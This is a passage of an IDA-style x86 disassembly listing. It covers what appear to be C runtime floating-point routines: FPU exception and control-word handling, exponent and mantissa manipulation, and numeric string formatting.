loc_421868: ; CODE XREF: sub_42174C+113j
test al, 10h
jz short loc_421872
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_421872: ; CODE XREF: sub_42174C+11Ej
test al, 20h
jz short loc_42187C
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_42187C: ; CODE XREF: sub_42174C+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_4218BB
cmp eax, 400h
jz short loc_4218AD
cmp eax, 800h
jz short loc_4218A1
cmp eax, ecx
jnz short loc_4218C1
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_4218C1
; ---------------------------------------------------------------------------
loc_4218A1: ; CODE XREF: sub_42174C+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_4218B7
; ---------------------------------------------------------------------------
loc_4218AD: ; CODE XREF: sub_42174C+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_4218B7: ; CODE XREF: sub_42174C+15Fj
mov [eax], ecx
jmp short loc_4218C1
; ---------------------------------------------------------------------------
loc_4218BB: ; CODE XREF: sub_42174C+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_4218C1: ; CODE XREF: sub_42174C+14Bj
; sub_42174C+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_4218EC
cmp eax, 200h
jz short loc_4218DF
cmp eax, ecx
jnz short loc_4218F9
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_4218F9
; ---------------------------------------------------------------------------
loc_4218DF: ; CODE XREF: sub_42174C+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_4218F7
; ---------------------------------------------------------------------------
loc_4218EC: ; CODE XREF: sub_42174C+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_4218F7: ; CODE XREF: sub_42174C+19Ej
mov [eax], ecx
loc_4218F9: ; CODE XREF: sub_42174C+189j
; sub_42174C+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_421E7A
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_42805C ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_421973
and dword ptr [esi], 0FFFFFFFEh
loc_421973: ; CODE XREF: sub_42174C+222j
test byte ptr [eax+8], 8
jz short loc_42197C
and dword ptr [esi], 0FFFFFFFBh
loc_42197C: ; CODE XREF: sub_42174C+22Bj
test byte ptr [eax+8], 4
jz short loc_421985
and dword ptr [esi], 0FFFFFFF7h
loc_421985: ; CODE XREF: sub_42174C+234j
test byte ptr [eax+8], 2
jz short loc_42198E
and dword ptr [esi], 0FFFFFFEFh
loc_42198E: ; CODE XREF: sub_42174C+23Dj
test [eax+8], bl
jz short loc_421996
and dword ptr [esi], 0FFFFFFDFh
loc_421996: ; CODE XREF: sub_42174C+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_4219CA
dec ecx
jz short loc_4219BE
dec ecx
jz short loc_4219B4
dec ecx
jnz short loc_4219CC
or byte ptr [esi+1], 0Ch
jmp short loc_4219CC
; ---------------------------------------------------------------------------
loc_4219B4: ; CODE XREF: sub_42174C+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_4219C6
; ---------------------------------------------------------------------------
loc_4219BE: ; CODE XREF: sub_42174C+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_4219C6: ; CODE XREF: sub_42174C+270j
mov [esi], ecx
jmp short loc_4219CC
; ---------------------------------------------------------------------------
loc_4219CA: ; CODE XREF: sub_42174C+257j
and [esi], edx
loc_4219CC: ; CODE XREF: sub_42174C+260j
; sub_42174C+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_4219EC
dec ecx
jz short loc_4219E3
dec ecx
jnz short loc_4219F5
and [esi], edx
jmp short loc_4219F5
; ---------------------------------------------------------------------------
loc_4219E3: ; CODE XREF: sub_42174C+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_4219F3
; ---------------------------------------------------------------------------
loc_4219EC: ; CODE XREF: sub_42174C+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_4219F3: ; CODE XREF: sub_42174C+29Ej
mov [esi], ecx
loc_4219F5: ; CODE XREF: sub_42174C+291j
; sub_42174C+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42174C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4219FF proc near ; CODE XREF: sub_4216B4+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_421A2A
test byte ptr [ebp+arg_8], bl
jz short loc_421A2A
push ebx
call sub_421EAC
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421BF4
; ---------------------------------------------------------------------------
loc_421A2A: ; CODE XREF: sub_4219FF+15j
; sub_4219FF+1Aj
test al, 4
jz short loc_421A44
test byte ptr [ebp+arg_8], 4
jz short loc_421A44
push 4
call sub_421EAC
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421BF4
; ---------------------------------------------------------------------------
loc_421A44: ; CODE XREF: sub_4219FF+2Dj
; sub_4219FF+33j
test al, bl
jz loc_421B1E
test byte ptr [ebp+arg_8], 8
jz loc_421B1E
push 8
call sub_421EAC
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421AF6
cmp ecx, 400h
jz short loc_421ACE
cmp ecx, 800h
jz short loc_421AA6
cmp ecx, eax
jnz loc_421B16
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_428868
fld dbl_43FB90
fnstsw ax
sahf
ja short loc_421A9E
fchs
loc_421A9E: ; CODE XREF: sub_4219FF+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421B14
; ---------------------------------------------------------------------------
loc_421AA6: ; CODE XREF: sub_4219FF+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_428868
fnstsw ax
sahf
jbe short loc_421ABE
fld dbl_43FB80
jmp short loc_421AC6
; ---------------------------------------------------------------------------
loc_421ABE: ; CODE XREF: sub_4219FF+B5j
fld dbl_43FB90
fchs
loc_421AC6: ; CODE XREF: sub_4219FF+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421B14
; ---------------------------------------------------------------------------
loc_421ACE: ; CODE XREF: sub_4219FF+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_428868
fnstsw ax
sahf
jbe short loc_421AE6
fld dbl_43FB90
jmp short loc_421AEE
; ---------------------------------------------------------------------------
loc_421AE6: ; CODE XREF: sub_4219FF+DDj
fld dbl_43FB80
fchs
loc_421AEE: ; CODE XREF: sub_4219FF+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421B14
; ---------------------------------------------------------------------------
loc_421AF6: ; CODE XREF: sub_4219FF+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_428868
fld dbl_43FB80
fnstsw ax
sahf
ja short loc_421B0E
fchs
loc_421B0E: ; CODE XREF: sub_4219FF+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421B14: ; CODE XREF: sub_4219FF+A5j
; sub_4219FF+CDj ...
fstp qword ptr [ecx]
loc_421B16: ; CODE XREF: sub_4219FF+81j
and edi, 0FFFFFFFEh
jmp loc_421BF4
; ---------------------------------------------------------------------------
loc_421B1E: ; CODE XREF: sub_4219FF+47j
; sub_4219FF+51j
test al, 2
jz loc_421BF4
test byte ptr [ebp+arg_8], 10h
jz loc_421BF4
push esi
xor esi, esi
test al, 10h
jz short loc_421B39
mov esi, ebx
loc_421B39: ; CODE XREF: sub_4219FF+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_428868
fnstsw ax
sahf
jz loc_421BE2
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_421DAB
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421B84
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421BD8
; ---------------------------------------------------------------------------
loc_421B84: ; CODE XREF: sub_4219FF+17Aj
fld [ebp+var_C]
fcomp dbl_428868
fnstsw ax
sahf
jnb short loc_421B96
mov edx, ebx
jmp short loc_421B98
; ---------------------------------------------------------------------------
loc_421B96: ; CODE XREF: sub_4219FF+191j
xor edx, edx
loc_421B98: ; CODE XREF: sub_4219FF+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_421BCC
sub eax, ecx
loc_421BAF: ; CODE XREF: sub_4219FF+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_421BBA
test esi, esi
jnz short loc_421BBA
mov esi, ebx
loc_421BBA: ; CODE XREF: sub_4219FF+1B3j
; sub_4219FF+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421BC6
or byte ptr [ebp+var_C+3], 80h
loc_421BC6: ; CODE XREF: sub_4219FF+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_421BAF
loc_421BCC: ; CODE XREF: sub_4219FF+1ACj
test edx, edx
jz short loc_421BD8
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421BD8: ; CODE XREF: sub_4219FF+183j
; sub_4219FF+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421BE4
; ---------------------------------------------------------------------------
loc_421BE2: ; CODE XREF: sub_4219FF+14Ej
mov esi, ebx
loc_421BE4: ; CODE XREF: sub_4219FF+1E1j
test esi, esi
pop esi
jz short loc_421BF1
push 10h
call sub_421EAC
pop ecx
loc_421BF1: ; CODE XREF: sub_4219FF+1E8j
and edi, 0FFFFFFFDh
loc_421BF4: ; CODE XREF: sub_4219FF+26j
; sub_4219FF+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_421C0B
test byte ptr [ebp+arg_8], 20h
jz short loc_421C0B
push 20h
call sub_421EAC
pop ecx
and edi, 0FFFFFFEFh
loc_421C0B: ; CODE XREF: sub_4219FF+1F9j
; sub_4219FF+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_4219FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421C16(int,int,int,int,int,int,double,int)
sub_421C16 proc near ; CODE XREF: sub_421661+2Bp
; sub_4216B4+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421CC4
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421C81
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_421E89
lea eax, [ebp+var_20]
push eax
call sub_4246ED
add esp, 0Ch
test eax, eax
jnz short loc_421C7B
push esi
call sub_421C9E
pop ecx
loc_421C7B: ; CODE XREF: sub_421C16+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421C81: ; CODE XREF: sub_421C16+14j
push 0FFFFh
push [ebp+arg_20]
call sub_421E89
push [ebp+arg_0]
call sub_421C9E
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421C16 endp
; =============== S U B R O U T I N E =======================================
sub_421C9E proc near ; CODE XREF: sub_4216B4+7Dp
; sub_421C16+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421CB9
jle short locret_421CC3
cmp eax, 3
jg short locret_421CC3
mov dword_4DE5C4, 22h
retn
; ---------------------------------------------------------------------------
loc_421CB9: ; CODE XREF: sub_421C9E+7j
mov dword_4DE5C4, 21h
locret_421CC3: ; CODE XREF: sub_421C9E+9j
; sub_421C9E+Ej
retn
sub_421C9E endp
; =============== S U B R O U T I N E =======================================
sub_421CC4 proc near ; CODE XREF: sub_421C16+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43FAA8
loc_421CCB: ; CODE XREF: sub_421CC4+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421CE1
add eax, 8
inc ecx
cmp eax, offset dbl_43FB80
jl short loc_421CCB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421CE1: ; CODE XREF: sub_421CC4+Dj
mov eax, off_43FAAC[ecx*8]
retn
sub_421CC4 endp
; =============== S U B R O U T I N E =======================================
sub_421CE9 proc near ; CODE XREF: sub_4216B4+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421CF5
push 5
jmp short loc_421D0B
; ---------------------------------------------------------------------------
loc_421CF5: ; CODE XREF: sub_421CE9+6j
test al, 8
jz short loc_421CFD
push 1
jmp short loc_421D0B
; ---------------------------------------------------------------------------
loc_421CFD: ; CODE XREF: sub_421CE9+Ej
test al, 4
jz short loc_421D05
push 2
jmp short loc_421D0B
; ---------------------------------------------------------------------------
loc_421D05: ; CODE XREF: sub_421CE9+16j
test al, 1
jz short loc_421D0D
push 3
loc_421D0B: ; CODE XREF: sub_421CE9+Aj
; sub_421CE9+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_421D0D: ; CODE XREF: sub_421CE9+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421CE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421D16(double)
sub_421D16 proc near ; CODE XREF: sub_41CCE5:loc_41CD6Bp
; sub_41CE2B:loc_41CEB1p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421D28(double,int)
sub_421D28 proc near ; CODE XREF: sub_421DAB+82p
; sub_421DAB+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421D51 proc near ; CODE XREF: sub_41CCE5+31p
; sub_41CE2B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_421D68
cmp [ebp+arg_0], edx
jnz short loc_421D7A
push 1
jmp short loc_421DA4
; ---------------------------------------------------------------------------
loc_421D68: ; CODE XREF: sub_421D51+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_421D7A
cmp [ebp+arg_0], edx
jnz short loc_421D7A
push 2
jmp short loc_421DA4
; ---------------------------------------------------------------------------
loc_421D7A: ; CODE XREF: sub_421D51+11j
; sub_421D51+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_421D8D
push 3
jmp short loc_421DA4
; ---------------------------------------------------------------------------
loc_421D8D: ; CODE XREF: sub_421D51+36j
cmp cx, 7FF0h
jnz short loc_421DA7
test [ebp+arg_4], 7FFFFh
jnz short loc_421DA2
cmp [ebp+arg_0], edx
jz short loc_421DA7
loc_421DA2: ; CODE XREF: sub_421D51+4Aj
push 4
loc_421DA4: ; CODE XREF: sub_421D51+15j
; sub_421D51+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421DA7: ; CODE XREF: sub_421D51+41j
; sub_421D51+4Fj
xor eax, eax
pop ebp
retn
sub_421D51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421DAB(double,int)
sub_421DAB proc near ; CODE XREF: sub_4219FF+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_428868
push esi
fnstsw ax
sahf
jnz short loc_421DCB
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_421E61
; ---------------------------------------------------------------------------
loc_421DCB: ; CODE XREF: sub_421DAB+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_421E3A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421DE3
cmp dword ptr [ebp+arg_0], ecx
jz short loc_421E3A
loc_421DE3: ; CODE XREF: sub_421DAB+31j
fld [ebp+arg_0]
fcomp dbl_428868
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_421DFB
push 1
pop eax
jmp short loc_421DFD
; ---------------------------------------------------------------------------
loc_421DFB: ; CODE XREF: sub_421DAB+49j
xor eax, eax
loc_421DFD: ; CODE XREF: sub_421DAB+4Ej
; sub_421DAB+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_421E16
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_421E10
or dword ptr [ebp+arg_0+4], 1
loc_421E10: ; CODE XREF: sub_421DAB+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_421DFD
; ---------------------------------------------------------------------------
loc_421E16: ; CODE XREF: sub_421DAB+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_421E24
or byte ptr [ebp+arg_0+7], 80h
loc_421E24: ; CODE XREF: sub_421DAB+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421D28
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_421E61
; ---------------------------------------------------------------------------
loc_421E3A: ; CODE XREF: sub_421DAB+28j
; sub_421DAB+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421D28
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_421E61: ; CODE XREF: sub_421DAB+1Bj
; sub_421DAB+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_421DAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E6C proc near ; CODE XREF: sub_42174C+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_421E6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E7A proc near ; CODE XREF: sub_42174C+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_421E7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E89 proc near ; CODE XREF: sub_41CCE5+13p
; sub_41CCE5+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_421E89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421EAC proc near ; CODE XREF: sub_4219FF+1Dp
; sub_4219FF+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_421EC3
fld tbyte_43FBA8
fistp [ebp+arg_0]
wait
loc_421EC3: ; CODE XREF: sub_421EAC+Bj
test cl, 8
jz short loc_421ED8
fstsw ax
fld tbyte_43FBA8
fstp [ebp+var_8]
wait
fstsw ax
loc_421ED8: ; CODE XREF: sub_421EAC+1Aj
test cl, 10h
jz short loc_421EE7
fld tbyte_43FBB4
fstp [ebp+var_8]
wait
loc_421EE7: ; CODE XREF: sub_421EAC+2Fj
test cl, 4
jz short loc_421EF5
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_421EF5: ; CODE XREF: sub_421EAC+3Ej
test cl, 20h
jz short locret_421F00
fldpi
fstp [ebp+var_8]
wait
locret_421F00: ; CODE XREF: sub_421EAC+4Cj
leave
retn
sub_421EAC endp
; =============== S U B R O U T I N E =======================================
sub_421F02 proc near ; CODE XREF: sub_41CDB4+Fp
push 30000h
push 10000h
call sub_424725
pop ecx
pop ecx
retn
sub_421F02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F14 proc near ; CODE XREF: sub_421F52:loc_421F76j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_428878
fstp [ebp+var_8]
fld dbl_428870
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_428700
fnstsw ax
sahf
jbe short loc_421F4E
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_421F4E: ; CODE XREF: sub_421F14+33j
xor eax, eax
leave
retn
sub_421F14 endp
; =============== S U B R O U T I N E =======================================
sub_421F52 proc near ; CODE XREF: sub_41CDB4+5p
push offset aKernel32 ; "KERNEL32"
call dword_4280A4 ; GetModuleHandleA
test eax, eax
jz short loc_421F76
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_4280C4 ; GetProcAddress
test eax, eax
jz short loc_421F76
push 0
call eax ; sub_41CDB4
retn
; ---------------------------------------------------------------------------
loc_421F76: ; CODE XREF: sub_421F52+Dj
; sub_421F52+1Dj
jmp sub_421F14
sub_421F52 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_421F7B proc near ; CODE XREF: sub_41FD3F+3CBp
; DATA XREF: sub_41CDCC+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41DDEC
cmp eax, 65h
pop ecx
jz short loc_421FBB
loc_421F8F: ; CODE XREF: sub_421F7B+3Ej
inc esi
cmp dword_43F824, 1
jle short loc_421FA8
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41FBB5
pop ecx
pop ecx
jmp short loc_421FB7
; ---------------------------------------------------------------------------
loc_421FA8: ; CODE XREF: sub_421F7B+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43F618
mov al, [ecx+eax*2]
and eax, 4
loc_421FB7: ; CODE XREF: sub_421F7B+2Bj
test eax, eax
jnz short loc_421F8F
loc_421FBB: ; CODE XREF: sub_421F7B+12j
mov cl, byte_43F828
mov al, [esi]
mov [esi], cl
inc esi
loc_421FC6: ; CODE XREF: sub_421F7B+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_421FC6
pop esi
retn
sub_421F7B endp
; =============== S U B R O U T I N E =======================================
sub_421FD5 proc near ; CODE XREF: sub_41FD3F+3E2p
; DATA XREF: sub_41CDCC+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43F828
mov cl, [eax]
test cl, cl
jz short loc_421FF1
loc_421FE5: ; CODE XREF: sub_421FD5+1Aj
cmp cl, dl
jz short loc_421FF1
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_421FE5
loc_421FF1: ; CODE XREF: sub_421FD5+Ej
; sub_421FD5+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_422022
loc_421FF8: ; CODE XREF: sub_421FD5+34j
mov cl, [eax]
test cl, cl
jz short loc_42200B
cmp cl, 65h
jz short loc_42200B
cmp cl, 45h
jz short loc_42200B
inc eax
jmp short loc_421FF8
; ---------------------------------------------------------------------------
loc_42200B: ; CODE XREF: sub_421FD5+27j
; sub_421FD5+2Cj ...
mov ecx, eax
loc_42200D: ; CODE XREF: sub_421FD5+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42200D
cmp [eax], dl
jnz short loc_422018
dec eax
loc_422018: ; CODE XREF: sub_421FD5+40j
; sub_421FD5+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_422018
locret_422022: ; CODE XREF: sub_421FD5+21j
retn
sub_421FD5 endp
; =============== S U B R O U T I N E =======================================
sub_422023 proc near ; DATA XREF: sub_41CDCC+28o
; .XPack0:off_43FBD0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_428868
fnstsw ax
sahf
jb short loc_422038
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422038: ; CODE XREF: sub_422023+Fj
xor eax, eax
retn
sub_422023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42203B proc near ; CODE XREF: sub_420BB0+430p
; DATA XREF: sub_41CDCC+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_422064
lea eax, [ebp+var_8]
push eax
call sub_424BE8
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_422064: ; CODE XREF: sub_42203B+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424C15
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_42203B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422079 proc near ; CODE XREF: sub_4222F6+17p
; sub_422340+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4DE660, 0
push ebx
push esi
jz short loc_4220AE
mov ebx, [ebp+arg_8]
mov eax, dword_4DE65C
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_422391
pop ecx
pop ecx
jmp short loc_4220E6
; ---------------------------------------------------------------------------
loc_4220AE: ; CODE XREF: sub_422079+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_424CB9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
